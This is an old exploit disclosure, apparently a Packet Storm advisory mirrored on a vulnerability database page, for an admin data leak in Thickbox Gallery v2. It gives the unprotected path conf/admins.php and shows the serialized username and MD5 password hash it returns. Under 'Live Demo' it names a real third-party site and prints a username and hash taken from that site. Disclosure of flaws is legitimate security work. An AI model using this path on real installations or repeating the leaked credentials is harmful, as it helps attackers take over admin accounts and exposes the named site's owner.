Lucene search

K

thickboxgallery-disclose.txt

🗓️ 27 Aug 2008 00:00:00Reported by SirGodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Thickbox Gallery v2 Admin Data Disclosure, Arbitrary Admin Data Disclosure, Live Dem

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`#########################################################################################  
[+] Thickbox Gallery v2 Admin Data Disclosure  
[+] Discovered By SirGod   
[+] www.mortal-team.org   
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz  
##########################################################################################  
  
[+] Arbitrary Admin Data Disclosure  
  
- Go here and you will see the admin data ( login name + crypted password as MD5 )  
  
http://localhost/[Path]/conf/admins.php  
  
- Admin data :  
  
a:1:{s:5:"admin";s:32:"d73ed8a01f624fcb878296bc7ff302bc";}  
  
- Now extract the admin username and the hash :  
  
Username : admin  
  
Password : d73ed8a01f624fcb878296bc7ff302bc  
  
[+] Live Demo  
  
http://www.davilin.com/tbg/conf/admins.php  
  
- Retrived :  
  
a:1:{s:8:"ytakenak";s:32:"56bd1d32bcb1fbd2609e4d7634febbd1";}  
  
- Name + Password  
  
Username : ytakenak  
  
Password : 56bd1d32bcb1fbd2609e4d7634febbd1  
  
  
##########################################################################################  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo